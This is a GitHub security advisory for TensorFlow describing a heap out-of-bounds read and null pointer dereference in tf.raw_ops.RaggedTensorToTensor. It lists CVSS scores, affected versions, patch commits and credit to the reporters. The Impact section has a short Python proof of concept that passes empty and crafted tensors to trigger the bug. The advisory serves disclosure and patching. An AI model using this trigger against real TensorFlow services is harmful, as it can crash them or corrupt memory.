Lucene search

K
githubGitHub Advisory DatabaseGHSA-RGVQ-PCVF-HX75
HistoryMay 21, 2021 - 2:28 p.m.

Heap OOB and null pointer dereference in `RaggedTensorToTensor`

2021-05-2114:28:27
CWE-131
GitHub Advisory Database
github.com
56
tensorflow
raggedtensortotensor
validation
undefined behavior
github
patch
security
vulnerability
baidu x-team

CVSS2

4.6

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:P/A:P

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0.001

Percentile

34.7%

Impact

Due to lack of validation in tf.raw_ops.RaggedTensorToTensor, an attacker can exploit an undefined behavior if input arguments are empty:

import tensorflow as tf

shape = tf.constant([-1, -1], shape=[2], dtype=tf.int64)
values = tf.constant([], shape=[0], dtype=tf.int64)
default_value = tf.constant(404, dtype=tf.int64)
row = tf.constant([269, 404, 0, 0, 0, 0, 0], shape=[7], dtype=tf.int64)
rows = [row]
types = ['ROW_SPLITS']

tf.raw_ops.RaggedTensorToTensor(
  shape=shape, values=values, default_value=default_value, 
  row_partition_tensors=rows, row_partition_types=types)

The implementation only checks that one of the tensors is not empty, but does not check for the other ones.

There are multiple DCHECK validations to prevent heap OOB, but these are no-op in release builds, hence they don’t prevent anything.

Patches

We have patched the issue in GitHub commit b761c9b652af2107cfbc33efd19be0ce41daa33e followed by GitHub commit f94ef358bb3e91d517446454edff6535bcfe8e4a and GitHub commit c4d7afb6a5986b04505aca4466ae1951686c80f6.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Affected configurations

Vulners
Node
tensorflow-gpuRange2.4.02.4.2
OR
tensorflow-gpuRange2.3.02.3.3
OR
tensorflow-gpuRange2.2.02.2.3
OR
tensorflow-gpuRange<2.1.4
OR
tensorflow-cpuRange2.4.02.4.2
OR
tensorflow-cpuRange2.3.02.3.3
OR
tensorflow-cpuRange2.2.02.2.3
OR
tensorflow-cpuRange<2.1.4
OR
tensorflowtensorflowRange2.4.02.4.2
OR
tensorflowtensorflowRange2.3.02.3.3
OR
tensorflowtensorflowRange2.2.02.2.3
OR
tensorflowtensorflowRange<2.1.4
VendorProductVersionCPE
*tensorflow-gpu*cpe:2.3:a:*:tensorflow-gpu:*:*:*:*:*:*:*:*
*tensorflow-cpu*cpe:2.3:a:*:tensorflow-cpu:*:*:*:*:*:*:*:*
tensorflowtensorflow*cpe:2.3:a:tensorflow:tensorflow:*:*:*:*:*:*:*:*

CVSS2

4.6

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:P/A:P

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0.001

Percentile

34.7%

Related for GHSA-RGVQ-PCVF-HX75